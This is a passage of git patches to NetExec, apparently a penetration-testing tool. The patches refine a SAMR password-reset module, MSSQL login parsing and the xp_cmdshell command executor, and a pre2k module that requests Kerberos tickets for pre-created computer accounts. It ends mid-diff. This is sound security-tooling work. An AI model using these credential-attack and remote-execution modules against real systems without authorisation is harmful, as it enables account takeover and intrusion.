samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash) else: # Change the password with new hash - if not (user_handle := self._hSamrOpenUser(connection, target_username)): return False + user_handle = self._hSamrOpenUser(connection, target_username) + if not user_handle: + return False samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash) context.log.highlight("Note: Target user must change password at next logon.") context.log.success(f"Successfully changed password for {target_username}") From e6ca7f4b76dbb98325c076d0578bf6af9c6ab1ea Mon Sep 17 00:00:00 2001 From: termanix Date: Mon, 30 Mar 2026 15:03:56 +0300 Subject: [PATCH 144/165] Added try except for understanding errors --- nxc/modules/change-password.py | 43 ++++++++++++++++++++-------------- 1 file changed, 26 insertions(+), 17 deletions(-) diff --git a/nxc/modules/change-password.py b/nxc/modules/change-password.py index 8a213991ec..777035b6ee 100644 --- a/nxc/modules/change-password.py +++ b/nxc/modules/change-password.py @@ -128,25 +128,31 @@ def on_login(self, context, connection): def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash): # Reset the password for a different user - if target_username != connection.username: - user_handle = self._hSamrOpenUser(connection, target_username) - if not user_handle: - return False - samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash) - context.log.success(f"Successfully changed password for {target_username}") - else: - # Change password for the current user - if newPassword: - # Change the password with new password - samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash) - else: - # Change the password with new hash + try: + if target_username != connection.username: user_handle = self._hSamrOpenUser(connection, target_username) if not user_handle: return False - samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash) - context.log.highlight("Note: Target user must change password at next logon.") - context.log.success(f"Successfully changed password for {target_username}") + samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash) + context.log.success(f"Successfully changed password for {target_username}") + else: + # Change password for the current user + if newPassword: + # Change the password with new password + samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash) + else: + # Change the password with new hash + user_handle = self._hSamrOpenUser(connection, target_username) + if not user_handle: + return False + samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash) + context.log.highlight("Note: Target user must change password at next logon.") + context.log.success(f"Successfully changed password for {target_username}") + except Exception as e: + if "STATUS_ACCESS_DENIED" in str(e): + self.context.log.fail(f"Access denied while changing password for '{target_username}'") + else: + self.context.log.fail(f"Failed to change user password: {e}") def _hSamrOpenUser(self, connection, username): """Get handle to the user object""" @@ -158,4 +164,7 @@ def _hSamrOpenUser(self, connection, username): user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0] return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"] except Exception as e: - self.context.log.fail(f"Failed to open user: {e}") + if "STATUS_NONE_MAPPED" in str(e): + self.context.log.fail(f"User '{username}' not found or not resolvable") + else: + self.context.log.fail(f"Failed to open user: {e}") From 8a0957e1832eca6fef2bb485a51d6307fad91446 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Mon, 30 Mar 2026 14:29:47 +0200 Subject: [PATCH 145/165] return early from rid_brute on SID/domain query failure --- nxc/protocols/mssql.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index af87e67cd9..098a0805be 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -438,6 +438,7 @@ def rid_brute(self, max_rid=None): domain_sid = SID(bytes.fromhex(raw_domain_sid.decode())).formatCanonical()[:-4] except Exception as e: self.logger.fail(f"Error parsing SID. Not domain joined?: {e}") + return entries so_far = 0 simultaneous = 1000 From 95f67b71257c9312257117e98b8b51ad1bda225a Mon Sep 17 00:00:00 2001 From: termanix Date: Mon, 30 Mar 2026 18:32:27 +0300 Subject: [PATCH 146/165] removed duplicate try&except --- nxc/modules/change-password.py | 43 ++++++++++++++++------------------ 1 file changed, 20 insertions(+), 23 deletions(-) diff --git a/nxc/modules/change-password.py b/nxc/modules/change-password.py index 777035b6ee..4c5315772e 100644 --- a/nxc/modules/change-password.py +++ b/nxc/modules/change-password.py @@ -122,37 +122,34 @@ def on_login(self, context, connection): else: self.context.db.add_credential("plaintext", target_domain, target_username, self.newpass) except Exception as e: - context.log.fail(f"SMB-SAMR password change failed: {e}") + if "STATUS_ACCESS_DENIED" in str(e): + self.context.log.fail(f"Access denied while changing password for '{target_username}'") + else: + context.log.fail(f"SMB-SAMR password change failed: {e}") finally: self.dce.disconnect() def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash): # Reset the password for a different user - try: - if target_username != connection.username: + if target_username != connection.username: + user_handle = self._hSamrOpenUser(connection, target_username) + if not user_handle: + return False + samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash) + context.log.success(f"Successfully changed password for {target_username}") + else: + # Change password for the current user + if newPassword: + # Change the password with new password + samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash) + else: + # Change the password with new hash user_handle = self._hSamrOpenUser(connection, target_username) if not user_handle: return False - samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash) - context.log.success(f"Successfully changed password for {target_username}") - else: - # Change password for the current user - if newPassword: - # Change the password with new password - samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash) - else: - # Change the password with new hash - user_handle = self._hSamrOpenUser(connection, target_username) - if not user_handle: - return False - samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash) - context.log.highlight("Note: Target user must change password at next logon.") - context.log.success(f"Successfully changed password for {target_username}") - except Exception as e: - if "STATUS_ACCESS_DENIED" in str(e): - self.context.log.fail(f"Access denied while changing password for '{target_username}'") - else: - self.context.log.fail(f"Failed to change user password: {e}") + samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash) + context.log.highlight("Note: Target user must change password at next logon.") + context.log.success(f"Successfully changed password for {target_username}") def _hSamrOpenUser(self, connection, username): """Get handle to the user object""" From 9d90e0dabaa18d2bc711d5c2aab629dd5744ed35 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Tue, 31 Mar 2026 10:30:52 +0200 Subject: [PATCH 147/165] fix: avoid AttributeError when MSSQL command output is None --- nxc/protocols/mssql.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 66395530e4..b92e317993 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -323,7 +323,7 @@ def execute(self, payload=None, get_output=False): self.logger.fail(f"Error during command execution: {self.conn.lastError}") else: self.logger.success("Executed command via mssqlexec") - for line in output.splitlines(): + for line in (output or "").splitlines(): self.logger.highlight(line.strip()) return output From 081ab77eaebf44e46d7ac5afc9bcb152f7d7028b Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Tue, 31 Mar 2026 12:49:35 +0200 Subject: [PATCH 148/165] fix(mssql): handle TDS error when NTLM challenge absent and fix local-auth flow --- nxc/protocols/mssql.py | 24 ++++++++++++++++++------ 1 file changed, 18 insertions(+), 6 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 66395530e4..092428a38d 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -134,12 +134,24 @@ def enum_host_info(self): self.logger.info(f"Failed to receive NTLM challenge, reason: {e!s}") return False else: - ntlm_info = parse_challenge(challenge) - self.targetDomain = self.domain = ntlm_info["domain"] - self.hostname = ntlm_info["hostname"] - self.server_os = ntlm_info["os_version"] - self.logger.extra["hostname"] = self.hostname - self.db.add_host(self.host, self.hostname, self.targetDomain, self.server_os, len(self.mssql_instances),) + if not challenge.startswith(b"NTLMSSP\x00"): + try: + text = challenge.decode("utf-16le", errors="ignore") + clean = "".join(c for c in text if c.isascii() and (c.isprintable() or c == " ")) + start = next((i for i, c in enumerate(clean) if c.isupper()), 0) + end = clean.rfind(".") + error_msg = clean[start:end + 1].strip() if 0 <= start < end else clean.strip() + except Exception: + error_msg = "" + self.logger.fail(f"Server does not support Integrated Windows Authentication{f': {error_msg}' if error_msg else ''}") + else: + ntlm_info = parse_challenge(challenge) + self.targetDomain = self.domain = ntlm_info["domain"] + self.hostname = ntlm_info["hostname"] + self.server_os = ntlm_info["os_version"] + self.logger.extra["hostname"] = self.hostname + + self.db.add_host(self.host, self.hostname, self.domain, self.server_os, len(self.mssql_instances)) if self.args.domain: self.domain = self.args.domain From 7147aa265e275636eb031a71113b7fbf653adea9 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Wed, 1 Apr 2026 15:37:18 +0200 Subject: [PATCH 149/165] parse TDS ERROR/INFO via impacket --- nxc/protocols/mssql.py | 43 +++++++++++++++++++++++++++++++----------- 1 file changed, 32 insertions(+), 11 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 313bffb074..b21ba78eda 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -78,6 +78,31 @@ def wrapper(self, *args, **kwargs): return func(self, *args, **kwargs) return wrapper + @staticmethod + def decode_tds_info_error_msgtext(data, offset): + remaining = len(data) - offset + if remaining < 3 or data[offset] not in (TDS_ERROR_TOKEN, TDS_INFO_TOKEN): + return None + payload_len = int.from_bytes(data[offset + 1 : offset + 3], "little") + if payload_len < 8 or remaining < 3 + payload_len: + return None + try: + token = tds.TDS_INFO_ERROR(data[offset:]) + text = token["MsgText"].decode("utf-16le").strip() + except Exception: + return None + return text or None + + @staticmethod + def login7_integrated_auth_error_message(packet_data, data_after_login_header): + token_markers = (TDS_ERROR_TOKEN, TDS_INFO_TOKEN) + for buf in filter(None, (packet_data, data_after_login_header)): + for offset in (i for i in range(len(buf)) if buf[i] in token_markers): + msg = mssql.decode_tds_info_error_msgtext(buf, offset) + if msg: + return msg + return None + def check_if_admin(self): self.admin_privs = False try: @@ -128,22 +153,18 @@ def enum_host_info(self): self.conn.tlsSocket = None tdsx = self.conn.recvTDS() - challenge = tdsx["Data"][3:] - self.logger.debug(f"NTLM challenge: {challenge!s}") + login_response = tdsx["Data"] + # Impacket historically slices 3 bytes before treating payload as NTLMSSP (LOGIN7 response). + challenge = login_response[3:] + self.logger.debug(f"LOGIN7 response SSPI slice: {challenge!s}") except Exception as e: self.logger.info(f"Failed to receive NTLM challenge, reason: {e!s}") return False else: if not challenge.startswith(b"NTLMSSP\x00"): - try: - text = challenge.decode("utf-16le", errors="ignore") - clean = "".join(c for c in text if c.isascii() and (c.isprintable() or c == " ")) - start = next((i for i, c in enumerate(clean) if c.isupper()), 0) - end = clean.rfind(".") - error_msg = clean[start:end + 1].strip() if 0 <= start < end else clean.strip() - except Exception: - error_msg = "" - self.logger.fail(f"Server does not support Integrated Windows Authentication{f': {error_msg}' if error_msg else ''}") + error_msg = self.login7_integrated_auth_error_message(login_response, challenge) + detail = f": {error_msg}" if error_msg else "" + self.logger.fail(f"Server does not support Integrated Windows Authentication{detail}") else: ntlm_info = parse_challenge(challenge) self.targetDomain = self.domain = ntlm_info["domain"] From 1b4900d755c3741c47a71a5ed011cd9710d759b3 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Wed, 1 Apr 2026 20:32:55 +0200 Subject: [PATCH 150/165] always return str from MSSQLEXEC.execute --- nxc/protocols/mssql.py | 2 +- nxc/protocols/mssql/mssqlexec.py | 10 +++++----- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 45b931517c..098a0805be 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -323,7 +323,7 @@ def execute(self, payload=None, get_output=False): self.logger.fail(f"Error during command execution: {self.conn.lastError}") else: self.logger.success("Executed command via mssqlexec") - for line in (output or "").splitlines(): + for line in output.splitlines(): self.logger.highlight(line.strip()) return output diff --git a/nxc/protocols/mssql/mssqlexec.py b/nxc/protocols/mssql/mssqlexec.py index a90103598d..12203d6ca7 100755 --- a/nxc/protocols/mssql/mssqlexec.py +++ b/nxc/protocols/mssql/mssqlexec.py @@ -10,7 +10,7 @@ def __init__(self, connection, logger): self.backuped_options = {} def execute(self, command): - result = None + result = "" self.backup_and_enable("advanced options") self.backup_and_enable("xp_cmdshell") @@ -18,10 +18,10 @@ def execute(self, command): try: cmd = f"exec master..xp_cmdshell '{command}'" self.logger.debug(f"Attempting to execute query: {cmd}") - result = self.mssql_conn.sql_query(cmd) - self.logger.debug(f"Raw results from query: {result}") - if result: - result = "\n".join(line["output"] for line in result if line["output"] != "NULL") + raw = self.mssql_conn.sql_query(cmd) + self.logger.debug(f"Raw results from query: {raw}") + if raw: + result = "\n".join(line["output"] for line in raw if line["output"] != "NULL") self.logger.debug(f"Concatenated result together for easier parsing: {result}") # if you prepend SilentlyContinue it will still output the error, but it will still continue on (so it's not silent...) if "Preparing modules for first use" in result and "Completed" not in result: From 6e39d16dc5791fb1c0bfac84f4a624306a89244c Mon Sep 17 00:00:00 2001 From: Matt Date: Fri, 3 Apr 2026 14:08:41 +0200 Subject: [PATCH 151/165] add module option to query every computer object --- nxc/modules/pre2k.py | 39 ++++++++++++++++++++++++++------------- 1 file changed, 26 insertions(+), 13 deletions(-) diff --git a/nxc/modules/pre2k.py b/nxc/modules/pre2k.py index 9fb7da9bb8..f5190f69ff 100644 --- a/nxc/modules/pre2k.py +++ b/nxc/modules/pre2k.py @@ -19,17 +19,28 @@ class NXCModule: category = CATEGORY.PRIVILEGE_ESCALATION def options(self, context, module_options): - """No options available""" + """ + ALL Attempt to authenticate for every computer object in the domain (userAccountControl=4096) (default: False) + + Examples: + nxc ldap $IP -u $USER -p $PASSWORD -M pre2k + nxc ldap $IP -u $USER -p $PASSWORD -M pre2k -o ALL=True + """ + self.all_option = bool(module_options.get("ALL", False)) def on_login(self, context, connection): - # Define the search filter for computer accounts - search_filter = "(&(objectClass=computer)(userAccountControl=4096))" + # Define the search filter + if (self.all_option): + search_filter = "(&(objectClass=computer))" + else: + search_filter = "(&(objectClass=computer)(userAccountControl=4128))" # 4128 = 4096 (WORKSTATION_TRUST_ACCOUNT) | 32 (WORKSTATION_TRUST_ACCOUNT) + attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"] context.log.info(f"Using search filter: {search_filter}") context.log.info(f"Attributes to retrieve: {attributes}") - computers = [] + computers = {} try: # Use paged search to retrieve all computer accounts with specific flags @@ -39,10 +50,8 @@ def on_login(self, context, connection): for computer in results: context.log.debug(f"Processing computer: {computer['sAMAccountName']}, UAC: {computer['userAccountControl']}") - # Check if the account is a computer account (WORKSTATION_TRUST_ACCOUNT) - if int(computer["userAccountControl"]) == 4096: - computers.append(computer["sAMAccountName"]) - context.log.debug(f"Added computer: {computer['sAMAccountName']}") + computers[computer["sAMAccountName"]] = computer["userAccountControl"] + context.log.debug(f"Added computer: {computer['sAMAccountName']}") # Save computers to file domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain) @@ -55,11 +64,15 @@ def on_login(self, context, connection): for computer in computers: file.write(f"{computer}\n") - # Print discovered pre-created computer accounts + # Print discovered (pre-created) computer accounts if computers: - for computer in computers: - context.log.highlight(f"Pre-created computer account: {computer}") - context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}") + for computer, uac in computers.items(): + if (int(uac)) == 4128: + context.log.highlight(f"Pre-created computer account: {computer}") + context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}") + else: + context.log.highlight(f"Computer account: {computer}") + context.log.success(f"Found {len(computers)} computer accounts. Saved to {output_file}") else: context.log.info("No pre-created computer accounts found.") @@ -76,7 +89,7 @@ def on_login(self, context, connection): # Summary of TGT results if successful_tgts > 0: - context.log.success(f"Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}") + context.log.success(f"Successfully obtained TGT for {successful_tgts} (pre-created) computer accounts. Saved to {ccache_base_dir}") except Exception as e: context.log.fail(f"Error occurred during search: {e}") From 8ebf8fed7dfa1fd7a669fabb7443f6a3c1b80006 Mon Sep 17 00:00:00 2001 From: Matt Date: Fri, 3 Apr 2026 14:22:20 +0200 Subject: [PATCH 152/165] fix module option description --- nxc/modules/pre2k.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/pre2k.py b/nxc/modules/pre2k.py index f5190f69ff..160bef2b38 100644 --- a/nxc/modules/pre2k.py +++ b/nxc/modules/pre2k.py @@ -20,7 +20,7 @@ class NXCModule: def options(self, context, module_options): """ - ALL Attempt to authenticate for every computer object in the domain (userAccountControl=4096) (default: False) + ALL Attempt to authenticate for every computer object in the domain (default: False) Examples: nxc ldap $IP -u $USER -p $PASSWORD -M pre2k From c78bb6bade41b75eb85b36b7cf0730b7f797dd8f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 3 Apr 2026 12:43:50 -0400 Subject: [PATCH 153/165] Move error handling to login function, so if we crash we don't add users to db --- nxc/modules/change-password.py | 23 +++++++++-------------- 1 file changed, 9 insertions(+), 14 deletions(-) diff --git a/nxc/modules/change-password.py b/nxc/modules/change-password.py index 4c5315772e..8f6b2258a3 100644 --- a/nxc/modules/change-password.py +++ b/nxc/modules/change-password.py @@ -123,7 +123,9 @@ def on_login(self, context, connection): self.context.db.add_credential("plaintext", target_domain, target_username, self.newpass) except Exception as e: if "STATUS_ACCESS_DENIED" in str(e): - self.context.log.fail(f"Access denied while changing password for '{target_username}'") + self.context.log.fail(f"STATUS_ACCESS_DENIED while changing password for user: {target_username}") + elif "STATUS_NONE_MAPPED" in str(e): + self.context.log.fail(f"User '{target_username}' not found or not resolvable") else: context.log.fail(f"SMB-SAMR password change failed: {e}") finally: @@ -152,16 +154,9 @@ def _smb_samr_change(self, context, connection, target_username, target_domain, context.log.success(f"Successfully changed password for {target_username}") def _hSamrOpenUser(self, connection, username): - """Get handle to the user object""" - try: - # Connect to the target server and retrieve handles - server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"] - domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"] - domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"] - user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0] - return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"] - except Exception as e: - if "STATUS_NONE_MAPPED" in str(e): - self.context.log.fail(f"User '{username}' not found or not resolvable") - else: - self.context.log.fail(f"Failed to open user: {e}") + """Connect to the target server and retrieve the user handle""" + server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"] + domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"] + domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"] + user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0] + return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"] From ee37fc08cffdead0712915371df6b4d22b7001eb Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 3 Apr 2026 12:45:30 -0400 Subject: [PATCH 154/165] Remove unnecessary None checks --- nxc/modules/change-password.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/nxc/modules/change-password.py b/nxc/modules/change-password.py index 8f6b2258a3..20158e00a6 100644 --- a/nxc/modules/change-password.py +++ b/nxc/modules/change-password.py @@ -135,8 +135,6 @@ def _smb_samr_change(self, context, connection, target_username, target_domain, # Reset the password for a different user if target_username != connection.username: user_handle = self._hSamrOpenUser(connection, target_username) - if not user_handle: - return False samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash) context.log.success(f"Successfully changed password for {target_username}") else: @@ -147,8 +145,6 @@ def _smb_samr_change(self, context, connection, target_username, target_domain, else: # Change the password with new hash user_handle = self._hSamrOpenUser(connection, target_username) - if not user_handle: - return False samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash) context.log.highlight("Note: Target user must change password at next logon.") context.log.success(f"Successfully changed password for {target_username}") From c2efe58d31c36f51ee2aa599e6c64b05dc88cbcf Mon Sep 17 00:00:00 2001 From: Matt Date: Fri, 3 Apr 2026 19:14:38 +0200 Subject: [PATCH 155/165] small adjustments + separate writing pre2k & non pre2k computers to different files --- nxc/modules/pre2k.py | 33 +++++++++++++++++++++++---------- 1 file changed, 23 insertions(+), 10 deletions(-) diff --git a/nxc/modules/pre2k.py b/nxc/modules/pre2k.py index 160bef2b38..8df06b1f12 100644 --- a/nxc/modules/pre2k.py +++ b/nxc/modules/pre2k.py @@ -30,7 +30,7 @@ def options(self, context, module_options): def on_login(self, context, connection): # Define the search filter - if (self.all_option): + if self.all_option: search_filter = "(&(objectClass=computer))" else: search_filter = "(&(objectClass=computer)(userAccountControl=4128))" # 4128 = 4096 (WORKSTATION_TRUST_ACCOUNT) | 32 (WORKSTATION_TRUST_ACCOUNT) @@ -55,24 +55,37 @@ def on_login(self, context, connection): # Save computers to file domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain) - output_file = os.path.join(domain_dir, "precreated_computers.txt") + output_file_pre2k = os.path.join(domain_dir, "precreated_computers.txt") + output_file_non_pre2k = os.path.join(domain_dir, "computers.txt") # Create directories if they do not exist os.makedirs(domain_dir, exist_ok=True) - with open(output_file, "w") as file: - for computer in computers: - file.write(f"{computer}\n") + with open(output_file_pre2k, "w") as pre2k_file, open(output_file_non_pre2k, "w") as non_pre2k_file: + for computer, uac in computers.items(): + if int(uac) == 4128: + pre2k_file.write(f"{computer}\n") + else: + non_pre2k_file.write(f"{computer}\n") # Print discovered (pre-created) computer accounts if computers: for computer, uac in computers.items(): - if (int(uac)) == 4128: + if int(uac) == 4128: context.log.highlight(f"Pre-created computer account: {computer}") - context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}") else: - context.log.highlight(f"Computer account: {computer}") - context.log.success(f"Found {len(computers)} computer accounts. Saved to {output_file}") + context.log.debug(f"Computer account: {computer}") + + counter_pre2k = len([v for v in computers.values() if int(v) == 4128]) + counter_non_pre2k = len([v for v in computers.values() if int(v) != 4128]) + + context.log.success(f"Found {counter_pre2k} pre-created computer accounts. Saved to {output_file_pre2k}") + + if counter_non_pre2k == 0: + context.log.fail(f"Found {counter_non_pre2k} computer accounts.") + context.log.display("Consider using the option -o ALL=true to query all computers in the domain") + else: + context.log.success(f"Found {counter_non_pre2k} computer accounts. Saved to {output_file_non_pre2k}") else: context.log.info("No pre-created computer accounts found.") @@ -114,7 +127,7 @@ def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir): context.log.success(f"Successfully obtained TGT for {username}@{domain}") return True except Exception as e: - context.log.fail(f"Failed to get TGT for {username}@{domain}: {e}") + context.log.debug(f"Failed to get TGT for {username}@{domain}: {e}") return False def save_ticket(self, context, username, ticket, sessionKey, ccache_base_dir): From f2d2a72c0efdce2e8b57523148c4685a944a38ff Mon Sep 17 00:00:00 2001 From: Matt Date: Fri, 3 Apr 2026 19:37:43 +0200 Subject: [PATCH 156/165] add e2e commands --- tests/e2e_commands.txt | 2 ++ 1 file changed, 2 insertions(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index c8c06dcdd9..f9318889b8 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -229,6 +229,8 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-net netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M groupmembership -o USER=LOGIN_USERNAME netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M laps netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M maq +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pre2k +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pre2k -o ALL=true netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M subnets netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M user-desc netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami From ddc66c1243e9a5e8f5d08c22eb3404bbbc9776dd Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 3 Apr 2026 14:00:21 -0400 Subject: [PATCH 157/165] Only display accounts that have been found --- nxc/modules/pre2k.py | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) diff --git a/nxc/modules/pre2k.py b/nxc/modules/pre2k.py index 8df06b1f12..bb45a374e8 100644 --- a/nxc/modules/pre2k.py +++ b/nxc/modules/pre2k.py @@ -56,7 +56,7 @@ def on_login(self, context, connection): # Save computers to file domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain) output_file_pre2k = os.path.join(domain_dir, "precreated_computers.txt") - output_file_non_pre2k = os.path.join(domain_dir, "computers.txt") + output_file_non_pre2k = os.path.join(domain_dir, "non_precreated_computers.txt") # Create directories if they do not exist os.makedirs(domain_dir, exist_ok=True) @@ -79,13 +79,10 @@ def on_login(self, context, connection): counter_pre2k = len([v for v in computers.values() if int(v) == 4128]) counter_non_pre2k = len([v for v in computers.values() if int(v) != 4128]) - context.log.success(f"Found {counter_pre2k} pre-created computer accounts. Saved to {output_file_pre2k}") - - if counter_non_pre2k == 0: - context.log.fail(f"Found {counter_non_pre2k} computer accounts.") - context.log.display("Consider using the option -o ALL=true to query all computers in the domain") - else: - context.log.success(f"Found {counter_non_pre2k} computer accounts. Saved to {output_file_non_pre2k}") + if counter_pre2k != 0: + context.log.success(f"Found {counter_pre2k} pre-created computer accounts. Saved to {output_file_pre2k}") + if counter_non_pre2k != 0: + context.log.success(f"Found {counter_non_pre2k} normal computer accounts. Saved to {output_file_non_pre2k}") else: context.log.info("No pre-created computer accounts found.") From ee466afc40f15d6f976c1f239b93fa376b3e715f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 3 Apr 2026 14:04:22 -0400 Subject: [PATCH 158/165] Still display failed TGT retreival for pre2k accounts --- nxc/modules/pre2k.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/nxc/modules/pre2k.py b/nxc/modules/pre2k.py index bb45a374e8..ab7fcb067a 100644 --- a/nxc/modules/pre2k.py +++ b/nxc/modules/pre2k.py @@ -124,7 +124,13 @@ def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir): context.log.success(f"Successfully obtained TGT for {username}@{domain}") return True except Exception as e: - context.log.debug(f"Failed to get TGT for {username}@{domain}: {e}") + if "KDC_ERR_PREAUTH_FAILED" in str(e): + if self.all_option: + context.log.debug(f"Failed to get TGT for {username}@{domain}: KDC_ERR_PREAUTH_FAILED") + else: + context.log.fail(f"Failed to get TGT for {username}@{domain}: KDC_ERR_PREAUTH_FAILED") + else: + context.log.fail(f"Error obtaining TGT for {username}@{domain}: {e}") return False def save_ticket(self, context, username, ticket, sessionKey, ccache_base_dir): From 121d6c4305366bbf09186575dbe1b70773696e24 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 3 Apr 2026 14:06:53 -0400 Subject: [PATCH 159/165] Only apply ALL option if indeed set to true --- nxc/modules/pre2k.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/pre2k.py b/nxc/modules/pre2k.py index ab7fcb067a..9e8087bd7e 100644 --- a/nxc/modules/pre2k.py +++ b/nxc/modules/pre2k.py @@ -26,7 +26,7 @@ def options(self, context, module_options): nxc ldap $IP -u $USER -p $PASSWORD -M pre2k nxc ldap $IP -u $USER -p $PASSWORD -M pre2k -o ALL=True """ - self.all_option = bool(module_options.get("ALL", False)) + self.all_option = module_options.get("ALL", "").lower() in ["true", "1", "yes"] def on_login(self, context, connection): # Define the search filter From 6ada3eaf3c0a61b37ffc102886450e285366a37e Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Fri, 3 Apr 2026 22:32:37 +0200 Subject: [PATCH 160/165] rename ntlm_parser to negotiate_parser, add TDS LOGIN7 helpers --- netexec.spec | 2 +- nxc/helpers/negotiate_parser.py | 92 +++++++++++++++++++++++++++++++++ nxc/helpers/ntlm_parser.py | 34 ------------ nxc/protocols/ldap.py | 2 +- nxc/protocols/mssql.py | 29 +---------- nxc/protocols/winrm.py | 2 +- nxc/protocols/wmi.py | 2 +- 7 files changed, 98 insertions(+), 65 deletions(-) create mode 100644 nxc/helpers/negotiate_parser.py delete mode 100644 nxc/helpers/ntlm_parser.py diff --git a/netexec.spec b/netexec.spec index 4ba2c4b52b..7a59877ca9 100644 --- a/netexec.spec +++ b/netexec.spec @@ -49,7 +49,7 @@ a = Analysis( 